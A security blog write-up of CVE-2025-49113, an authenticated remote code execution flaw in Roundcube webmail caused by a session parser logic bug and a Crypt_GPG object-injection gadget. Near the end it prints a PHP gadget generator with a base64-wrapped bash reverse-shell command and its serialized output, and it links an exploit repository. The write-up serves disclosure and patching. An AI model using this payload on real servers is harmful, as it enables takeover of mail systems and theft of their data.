Behind the Bug: Logic Error in Roundcube Session Parser [CVE-2025-49113]

Escrito por  Murilo

Recently, a vulnerability was discovered in the Roundcube webmail service that allows an authenticated user to obtain remote execution of commands on the server. The flaw was identified by researcher Kirill Firsov and reported on June 2, 2025.

Vulnerability details

In short, the flaw occurs due to a logic error in asession parser implemented by the Roundcube developers, which allows an attacker to inject arbitrary objects into the session and obtain remote code execution**(RCE**) via a gadget present in the Crypt_GPG library.

The vulnerability has been present in Roundcube ‘s code for over 10 years and was reported in version 1.6.10. All versions prior to 1.6.11, with the exception of 1.5.10, are susceptible to the attack.

Exploiting the vulnerability requires access to an endpoint that requires authentication, so the attacker needs valid credentials in the Roundcube environment.

Code Review: Identifying the logical error

Before you start reading this section, we strongly recommend a thorough understanding of the format of PHP serialized objects, as well as knowledge of insecure deserialization exploits. We suggest reading the following blogpost:

https://blog.crowsec.com.br/des

As stated in the vulnerability details section, the bug is in a session parser implemented by the Roundcube developers.

Accessing the file rcube_session.php, we see the following code snippet, responsible for registering the custom handlers for the operations performed during session management:

https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L109

/**
 * Register session handler
 */
public function register_session_handler()
{
    if (session_id()) {
        // Session already exists, skip
        return;
    }

    ini_set('session.serialize_handler', 'php');

    // set custom functions for PHP session management
    session_set_save_handler(
        [$this, 'open'],
        [$this, 'close'],
        [$this, 'read'],
        [$this, 'sess_write'],
        [$this, 'destroy'],
        [$this, 'gc']
    );
}

Looking at the rcube_session::sess_write() method, we see that it calls the rcube_session::_fixvars() method, which in turn invokes the method where the logical bug occurs: rcube_session::unserialize().

https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L162

 /**
   * Session write handler. This calls the implementation methods for write/update after some initial checks.
   *
   * @param string $key  Session identifier
   * @param string $vars Serialized data string
   *
   * @return bool True on success, False on failure
   */
  public function sess_write($key, $vars)
  {
      if ($this->nowrite) {
          return true;
      }

      // check cache
      $oldvars = $this->get_cache($key);

      // if there are cached vars, update store, else insert new data
      if ($oldvars) {
          $newvars = $this->_fixvars($vars, $oldvars); // FUNCTION CALLED HERE
          return $this->update($key, $newvars, $oldvars);
      }
      else {
          return $this->write($key, $vars);
      }
  }

https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L215

/**
 * Merge vars with old vars and apply unsets
 */
protected function _fixvars($vars, $oldvars)
{
    $newvars = '';

    if ($oldvars !== null) {
        $a_oldvars = $this->unserialize($oldvars); // VULNERABLE FUNCTION CALLED HERE

        if (is_array($a_oldvars)) {
            // remove unset keys on oldvars
            foreach ((array)$this->unsets as $var) {
                if (isset($a_oldvars[$var])) {
                    unset($a_oldvars[$var]);
                }
                else {
                    $path = explode('.', $var);
                    $k = array_pop($path);
                    $node = &$this->get_node($path, $a_oldvars);
                    unset($node[$k]);
                }
            }

            $newvars = $this->serialize(array_merge(
                (array)$a_oldvars, (array)$this->unserialize($vars)));
        }
        else {
            $newvars = $vars;
        }
    }

    $this->unsets = [];

    return $newvars;
}

The $oldvars variable contains the contents of the PHP session. See below for an example of the content:

username|s:13:"administrator";isAdmin|b:1;

This content is sent to the rcube_session::unserialize() method, which is where the logic bug occurs.

https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L506

/**
 * Unserialize session data
 * https://www.php.net/manual/en/function.session-decode.php#56106
 *
 * @param string $str Serialized data string
 *
 * @return array Unserialized data
 */
public static function unserialize($str)
{
    $str    = (string) $str;
    $endptr = strlen($str);
    $p      = 0;

    $serialized = '';
    $items      = 0;
    $level      = 0;

    while ($p < $endptr) {
        $q = $p;
        while ($str[$q] != '|')
            if (++$q >= $endptr)
                break 2;

        if ($str[$p] == '!') {
            $p++;
            $has_value = false;
        }
        else {
            $has_value = true;
        }

        $name = substr($str, $p, $q - $p);
        $q++;

        $serialized .= 's:' . strlen($name) . ':"' . $name . '";';


	...
}

The code is quite long and confusing – at least personally, I’ve always found it tiresome to analyze parsers in general. For this reason, let’s focus on the critical parts of the parser and identify the exact point where the logic error occurs.

First of all, let’s understand how a session is formatted in PHP. Below is an example of the code and its output:

<?php
session_start();
$_SESSION['username'] = 'administrator';
$_SESSION['isAdmin'] = 1;

/*
 * SESSION CONTENT
 * username|s:13:"administrator";isAdmin|b:1;
*/

Notice that the field name and content are separated by a |.

The rcube_session::unserialize() method parses this content and converts it into a serialized PHP object format. See below for an example:

username|s:13:"administrator";isAdmin|b:1; // PHP SESSION CONTENT
a:2:{s:8:"username";s:13:"administrator";s:7:"isAdmin";b:1;} // PHP OBJECT SERIALIZED

Analyzing the parser, we see that it loops through the string until it finds the character |. When it reaches that character, it saves its position and uses the substr function to extract the name of the “variable” defined in the session (remember the session format? username|s:13:"administrator").

At this point, the value of the $serialized variable would be: s:8:"username";

Note that the code shown in the image above performs a validation: if the variable name starts with !, the code will not enter the if condition defined on line 535.

The code inside the if block performs the rest of the session parsing. As there are no bugs in this part, we won’t go into too much detail.

Looking at the code in the else block (executed when the name of the session variable starts with !), we see that the parser “discards” the contents of the variable and increments 2 more in the $p and $q variables.

At this point, we’ve already encountered the bug – and you probably didn’t even notice it… Yes, it’s quite subtle and tiresome to review.

To make it easier to explain the bug at this point, let’s use an example of session content:

!firstName|s:4:"john";lastName|s:3:"doe";

By correct logic, this serialized content would be:

a:2:{s:9:"firstName";N;s:8:"lastName";s:3:"doe";}

However, the result of the parser is:

a:2:{s:9:"firstName";N;s:17:"4:"john";lastName";s:3:"doe";}

This is because the code increments 2 in $p, with the intention of advancing to the position of the next session variable. However, this behavior is completely wrong.

In the context of the example we are using, the value of the $p variable will be 13 at the end of the iteration.

When returning to the start of the loop, the code will start iterating the next “variable” in the session from position 13 of the string. In other words, according to the parser, the name of the variable will be: 4:"john";lastName

Note that the value of the first variable ends up being interpreted as part of the name of the second variable. In the parser‘s first loop, it goes through the variable name until it finds the | character.

What if we insert a | into the name of the second variable using this logic bug? By doing this, we can inject content into the session. Here’s an example:

<?php
session_start();

$_SESSION['!firstName'] = '|s:3:"pwn";';
$_SESSION['lastName'] = 'doe';

/*
 * Example of serialized session data:
 * !firstName|s:11:"|s:3:"pwn";";lastName|s:3:"doe";
 * 
 * Example of serialized PHP object:
 * a:3:{s:9:"firstName";N;s:4:"11:"";s:3:"pwn";s:10:"";lastName";s:3:"doe";}
*/

If you’re wondering, “Why not insert a | directly into the variable name without having to exploit the logic bug? Wouldn’t that also result in injection?”. The answer is no. By default, PHP doesn’t allow the | character in variable names, precisely to avoid this type of session data injection bug.

The idea here is to exploit this logical parser bug to inject an object into the session content and, by deserializing it, we can trigger an RCE using a gadget.

We have two major requirements for exploiting this bug:

  • We need some endpoint that gives us control over both the name and the value of session variables.
  • We need a gadget that makes it possible to obtain RCE through object injection.

Exploring vulnerabilities

Analyzing the rcmail_action_settings_upload::run() method, we see that it creates a session variable over which we have control of both the name and the value.

https://github.com/roundcube/roundcubemail/blob/master/program/actions/settings/upload.php#L30

public function run($args = [])
{
    $rcmail = rcmail::get_instance();
    $from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
    $type   = preg_replace('/(add|edit)-/', '', $from);
    
    // code...
    
    $type = str_replace('.', '-', $type);    
    
    if (!empty($imageprop)) {
          $attachment = $rcmail->plugins->exec_hook('attachment_upload', [
              'path'     => $filepath,
              'size'     => $_FILES['_file']['size'][$i],
              'name'     => $_FILES['_file']['name'][$i],
              'mimetype' => 'image/' . $imageprop['type'],
              'group'    => $type,
          ]);
      }
    
	   // code...
    
    $rcmail->session->append($type . '.files', $id, $attachment);
    
    // code...
}

We can see that the contents of the _from parameter are used as the name of the session variable. In addition, the value of this variable is the object contained in the $attachment variable. The name of the file received by the form is assigned to the name field of this object – in other words, we also have some control over the value of the variable defined in the session.

With this, we have already met the first requirement: control over the name and value of the variable entered in the session.

When looking for a gadget, we found a fairly simple chain in the Crypt_GPG_Engine class. The Crypt_GPG_Engine::__destruct method invokes the Crypt_GPG_Engine::_closeIdleAgents method, which in turn uses the proc_open function on the $this->_gpgconf property.

class Crypt_GPG_Engine
{
    public function __destruct()
    {
        $this->_closeSubprocess();
        $this->_closeIdleAgents();
    }
    
    private function _closeIdleAgents()
    {
        if ($this->_gpgconf) {
            // before 2.1.13 --homedir wasn't supported, use env variable
            $env = array('GNUPGHOME' => $this->_homedir);
            $cmd = $this->_gpgconf . ' --kill gpg-agent';

            if ($process = proc_open($cmd, array(), $pipes, null, $env)) {
                proc_close($process);
            }
        }
    }
}

We can create a gadget to obtain RCE by assigning a malicious string to the $this->_gpgconf property to exploit a command injection vulnerability.

<?php

class Crypt_GPG_Engine
{
    public string $_gpgconf;

    public function __construct($_gpgconf = '')
    {
        $this->_gpgconf = $_gpgconf;
    }
}

$command = '/bin/bash -c "bash -i >& /dev/tcp/host.docker.internal/8000 0>&1"';
$payload = "echo '" . base64_encode($command) . "'|base64 -d|sh;#";

$crypt_gpg_engine = new Crypt_GPG_Engine($payload);

echo "|" . serialize($crypt_gpg_engine) . ";" . PHP_EOL;

/*
 * Execution output
 * |O:16:"Crypt_GPG_Engine":1:{s:8:"_gpgconf";s:110:"echo 'L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2hvc3QuZG9ja2VyLmludGVybmFsLzgwMDAgMD4mMSI='|base64 -d|sh;#";};
*/

Important detail: setting the property to public removes the null bytes from the serialized payload – and this is extremely relevant to the success of the exploit.

With the gadget in hand and an endpoint that allows us to control the session, we can proceed with the exploit and obtain RCE in Roundcube.

Obtaining RCE

Accessing the image upload functionality in the identity settings:

Intercepting the request using Burp Suite:

By setting the ! character in the _from field (variable name) and inserting the injection payload with the gadget in the filename field, we were able to exploit the vulnerability and obtain RCE in the application:

During the PoC study, our team developed an exploit to make it easier to exploit the vulnerability.

https://github.com/hakaioffsec/CVE-2025-49113-exploit

Final considerations

This exploit involves several complex concepts, such as Insecure Deserialization and Session Injection. However, the most relevant point in this article is to understand the logical bug present in the session content parser.

During the reproduction of the PoC, we studied the article published by Kirill Firsov, and it was essential to obtain a complete understanding of the parser in order to achieve success in the exploit(this occurred before the exploit code was published).

We would like to congratulate the researcher on his excellent work and the incredible research conducted at Roundcube.

Recommendation

We recommend that Roundcube be updated to the latest version**(1.6.11**) or, alternatively, to version 1.5.10, which has also received the security patch.

References

https://github.com/fearsoff-org/CVE-2025-49113

Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

https://blog.crowsec.com.br/des

NVD – CVE-2025-49113

https://github.com/hakaioffsec/CVE-2025-49113-exploit

Logo da Hakai.